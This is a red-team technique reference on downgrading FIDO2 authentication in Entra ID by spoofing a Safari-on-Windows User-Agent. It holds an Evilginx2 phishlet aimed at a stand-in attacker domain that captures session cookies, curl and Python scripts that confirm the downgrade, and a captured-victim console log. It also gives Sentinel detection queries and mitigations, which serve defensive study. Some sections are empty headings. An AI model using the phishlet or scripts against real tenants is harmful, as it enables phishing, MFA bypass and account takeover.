MCADDF

[REALWORLD-010]: Safari-on-Windows Device Spoof

Metadata

Attribute Details
Technique ID REALWORLD-010
MITRE ATT&CK v18.1 T1556.006 - Multi-Factor Authentication
Tactic Credential Access
Platforms Entra ID / M365
Severity Critical
Technique Status ACTIVE
Last Verified 2025-08-15
Affected Versions All Entra ID versions (browser/OS support variance)
Patched In N/A - Behavioral change, not vulnerability
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: User-Agent header manipulation is a foundational technique for bypassing browser/OS compatibility checks in authentication flows. When a client sends an HTTP request, the User-Agent header identifies the browser, operating system, and browser version (e.g., Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15). Microsoft Entra ID uses this header to determine feature support, including FIDO2/WebAuthn capability. Safari on Windows is a logically impossible combination (Safari is exclusive to Apple platforms: macOS, iOS, iPadOS). When Entra ID receives a request claiming to be Safari on Windows, it recognizes FIDO is unsupported on this platform and automatically disables FIDO authentication. The attacker doesn’t need to exploit a vulnerability; they simply need to forge the User-Agent header in the HTTP request to trigger this legitimate platform compatibility check. Once FIDO is disabled, the user is presented with weaker fallback authentication options, all of which are interceptable by AiTM proxies.

Attack Surface: HTTP User-Agent header (sent in every HTTP request to Entra ID), browser platform detection logic, FIDO feature availability checks.

Business Impact: Complete bypass of “phishing-resistant” authentication. Organizations that believed FIDO2 eliminated phishing attacks discover it does not when combined with this downgrade technique. The attack defeats the primary reason organizations implement FIDO (phishing resistance) and forces fallback to SMS or Authenticator app, both interceptable by modern AiTM kits.

Technical Context: User-Agent spoofing takes zero milliseconds (headers are simple strings). Detection requires comparing User-Agent across multiple authentication attempts in the same session, which most organizations do not monitor. The attack is deterministic: if Entra ID sees Safari on Windows, FIDO is disabled 100% of the time.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 6.5 Failure to enforce phishing-resistant authentication
DISA STIG IA-5(1) Credential-based authentication strength requirements not met
CISA SCuBA AUTH.1, AUTH.2 Phishing-resistant MFA not properly enforced
NIST 800-53 IA-2(1), IA-7 Multi-factor authentication; session management failures
GDPR Art. 32 Inadequate safeguards for user authentication
NIS2 Art. 21 Protective measures for authentication systems
ISO 27001 A.9.2.1, A.9.4.3 User identification and access control

3. TECHNICAL PREREQUISITES

Required Privileges: None - any user can set HTTP headers.

Required Access:

Supported Versions:

Tools:

Tested Browser/OS Combinations Without FIDO Support:


4. ENVIRONMENTAL RECONNAISSANCE

Check Current Browser/OS Platform Support for FIDO

# PowerShell script to detect if user's browser is FIDO-capable
# Run on user's workstation

$browserUA = [System.Net.ServicePointManager]::UserAgent
$isFIDOSupported = $true

if ($browserUA -match "Safari" -and $browserUA -match "Windows") {
    $isFIDOSupported = $false
    Write-Host "FIDO NOT supported: Safari on Windows detected" -ForegroundColor Red
}
elseif ($browserUA -match "MSIE|Trident") {
    $isFIDOSupported = $false
    Write-Host "FIDO NOT supported: Internet Explorer detected" -ForegroundColor Red
}
elseif ($browserUA -match "Chrome|Edge|Firefox") {
    $isFIDOSupported = $true
    Write-Host "FIDO supported: Modern browser detected" -ForegroundColor Green
}

Write-Host "Current User-Agent: $browserUA"

Test Manual User-Agent Spoofing with curl

# Test 1: Normal User-Agent (Chrome on Windows)
curl -v -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
  "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=YOUR_CLIENT_ID&redirect_uri=http://localhost&response_type=code"

# Response: FIDO option is presented in authentication flow

# Test 2: Spoofed User-Agent (Safari on Windows - NOT SUPPORTED)
curl -v -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15" \
  "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=YOUR_CLIENT_ID&redirect_uri=http://localhost&response_type=code"

# Response: FIDO option is REMOVED; fallback methods only (SMS, Authenticator)

What to Look For:


5. DETAILED EXECUTION METHODS

METHOD 1: User-Agent Injection via Evilginx2 Phishlet Configuration

Supported Versions: Evilginx2 v3.0+

Step 1: Configure Phishlet with User-Agent Override

Objective: Create or modify Evilginx2 phishlet to inject Safari on Windows User-Agent.

File: phishlets/o365_safari_spoof.json

{
  "name": "o365_safari_spoof",
  "author": "AttackOperator",
  "source": "microsoft",
  "phish_domain": "attacker-domain.com",
  "domains": [
    "login.microsoftonline.com",
    "login.microsoft.com"
  ],
  "sub_domains": [""],
  "paths": [
    {
      "path": "/",
      "status": "ok"
    },
    {
      "path": "/common/oauth2/v2.0/authorize",
      "status": "ok"
    }
  ],
  "user_agent_spoof": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15",
  "auth_tokens": [
    {
      "name": "session_id",
      "extract": "cookie"
    }
  ]
}

Critical Field: user_agent_spoof

This exact string is crucial:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15

Breakdown:

Why This String Works:

Expected Behavior:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Verify User-Agent Injection in Evilginx2 Console

Objective: Confirm that Evilginx2 is correctly injecting the Safari on Windows User-Agent.

Command (in Evilginx2 console):

evilginx> sessions
[*] Session ID: abc123def456
    User: victim@company.onmicrosoft.com
    Status: Captured
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
    IP Address: 192.168.1.100
    Time: 2025-08-15 14:23:45 UTC

evilginx> session info abc123def456
[*] Session Details:
    User-Agent (Spoofed): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
    User-Agent (Actual): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

What This Means:

What to Look For:


METHOD 2: Manual User-Agent Spoofing with Python Requests

Objective: Programmatic verification of User-Agent spoofing without Evilginx2 GUI.

Python Script: spoof_useragent.py

#!/usr/bin/env python3
import requests
import json
from urllib.parse import urlencode

# Safari on Windows User-Agent (unsupported combination)
FAKE_UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15"

# Target Entra ID OAuth endpoint
CLIENT_ID = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"  # Office Portal
REDIRECT_URI = "http://localhost:8080/callback"
AUTH_URL = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize"

# Set up custom headers with Safari on Windows User-Agent
headers = {
    "User-Agent": FAKE_UA,
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "keep-alive",
}

# Construct OAuth request
params = {
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "response_type": "code",
    "scope": "openid profile email",
    "response_mode": "form_post"
}

# Send request with spoofed User-Agent
response = requests.get(f"{AUTH_URL}?{urlencode(params)}", headers=headers, allow_redirects=True)

# Parse response
print(f"[+] Status Code: {response.status_code}")
print(f"[+] User-Agent Sent: {FAKE_UA}")
print(f"\n[+] Response Headers:")
for header, value in response.headers.items():
    print(f"    {header}: {value[:100]}...")

# Check if FIDO options are present in response
if "fido" in response.text.lower() or "webauthn" in response.text.lower():
    print("\n[-] FIDO options FOUND in response (spoofing failed)")
else:
    print("\n[+] FIDO options NOT found in response (spoofing successful!)")
    print("[+] Fallback authentication methods only")

# Extract authentication method choices
if "phoneNumber" in response.text:
    print("[+] SMS/Phone authentication available (interceptable)")
if "softwareOath" in response.text:
    print("[+] OATH token authentication available (interceptable)")
if "microsoftAuthenticator" in response.text:
    print("[+] Microsoft Authenticator available (interceptable via AiTM)")

Execution:

python3 spoof_useragent.py

Expected Output:

[+] Status Code: 200
[+] User-Agent Sent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15

[+] Response Headers:
    Content-Type: text/html; charset=utf-8
    ...

[+] FIDO options NOT found in response (spoofing successful!)
[+] Fallback authentication methods only
[+] SMS/Phone authentication available (interceptable)
[+] Microsoft Authenticator available (interceptable via AiTM)

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


6. TOOLS & COMMANDS REFERENCE

HTTP User-Agent Manipulation

curl (Command-Line HTTP Client):

# Standard request (normal User-Agent)
curl "https://login.microsoftonline.com/..."

# Spoofed Safari on Windows
curl -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15" \
  "https://login.microsoftonline.com/..."

Browser DevTools (Manual Testing):

  1. Press F12 (Developer Tools)
  2. Go to Network tab
  3. Reload page
  4. Right-click any request → Edit and Resend
  5. Change User-Agent header: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
  6. Send request
  7. Check response for FIDO options

Python requests:

import requests
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15"}
response = requests.get("https://login.microsoftonline.com/...", headers=headers)

7. MICROSOFT SENTINEL DETECTION

Query: Detect Impossible Browser/OS Combinations

Rule Configuration:

KQL Query:

SigninLogs
| where isnotempty(userAgent)
| where resultType == 0  // Successful logins only
// Detect Safari on Windows (impossible combination)
| where userAgent has "Safari" and userAgent has "Windows"
// Exclude Apple-branded applications
| where userAgent !has "iPhone" and userAgent !has "iPad" and userAgent !has "Mac"
| project
    TimeGenerated,
    userId,
    userPrincipalName,
    userAgent,
    ipAddress,
    location = location.countryOrRegion,
    appDisplayName,
    Status = "ALERT: Safari on Windows - Impossible combination",
    SuspiciousIndicator = "User-Agent spoofing detected"

Alternative Detection: Safari on Windows Across Multiple Sessions

SigninLogs
| where userAgent has "Safari" and userAgent has "Windows"
| where resultType == 0
| summarize
    SessionCount = dcount(sessionId),
    SuccessfulLogins = count(),
    FirstAttempt = min(createdDateTime),
    LastAttempt = max(createdDateTime),
    IPs = make_set(ipAddress, 5),
    Locations = make_set(location.countryOrRegion, 5)
    by userId, userPrincipalName
| where SessionCount > 0
| project userId, userPrincipalName, SessionCount, SuccessfulLogins, FirstAttempt, LastAttempt, IPs, Locations

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Detect Safari on Windows User-Agent Spoofing
    • Severity: High
  5. Set rule logic:
    • Paste KQL query above
    • Run every: 5 minutes
    • Lookup data from: 1 hour
  6. Incident settings:
    • Create incidents: Enabled
  7. Click Review + create

8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

1. Monitor and Alert on Browser/OS Combination Mismatches

Implement detection logic to flag impossible combinations:

Sentinel Query (Proactive Hunting):

SigninLogs
| where resultType == 0
| extend
    BrowserType = extract(@"(Chrome|Safari|Firefox|Edge|MSIE|Trident)", 1, userAgent),
    OSType = extract(@"(Windows|Mac|Linux|iPhone|iPad|Android)", 1, userAgent)
| where BrowserType == "Safari" and OSType == "Windows"
| summarize count() by userId, BrowserType, OSType

2. Disable Non-FIDO Fallback Options for Privileged Users

Manual Steps (Azure Portal):

  1. Go to Azure PortalEntra IDSecurityAuthentication methods
  2. Click Microsoft Authenticator
  3. Ensure: Enable = Yes (but this is fallback, restrict it)
  4. Go to Phone authentication (SMS, Phone calls)
  5. Set Enable = No for all privileged user groups
  6. Use Conditional Access to enforce:
    IF user is in "Global Admins" group
    THEN require FIDO2 OR compliant device
    ELSE allow any MFA
    

3. Implement Strict Conditional Access for Device Compliance

Manual Steps:

  1. Go to Entra IDConditional Access
  2. Create policy: Require Managed Device for All Apps
  3. Grant Control: Require Microsoft Entra hybrid joined device OR Compliant device
  4. This blocks phishing from attacker’s personal device, even if credentials are stolen

Priority 2: HIGH

4. Restrict Authentication to Known/Expected Browsers

Azure Front Door / WAF Rule:

Match:
  - Variable: RequestHeader User-Agent
    Operator: Regex
    Value: ^(?!.*Safari.+Windows).*$  # REJECT: Safari on Windows
    
Action: Block (status 403)

Limitation: WAF rules are easy to bypass with sophisticated attackers; not foolproof.


Step Phase Technique Description
1 Preparation [REALWORLD-010] Attacker crafts HTTP request with Safari on Windows User-Agent
2 Reconnaissance Verify FIDO is disabled Attacker confirms FIDO options are removed from authentication form
3 Exploitation [REALWORLD-009] Force fallback to weaker MFA (SMS, Authenticator)
4 Capture [REALWORLD-011] + [REALWORLD-012] AiTM intercepts credentials and MFA codes
5 Session Theft T1528 Attacker imports stolen session cookie
6 Post-Compromise T1534, T1567 Data exfiltration or lateral movement

10. REAL-WORLD EXAMPLES

Proofpoint FIDO Downgrade Research (August 2025)


References & Sources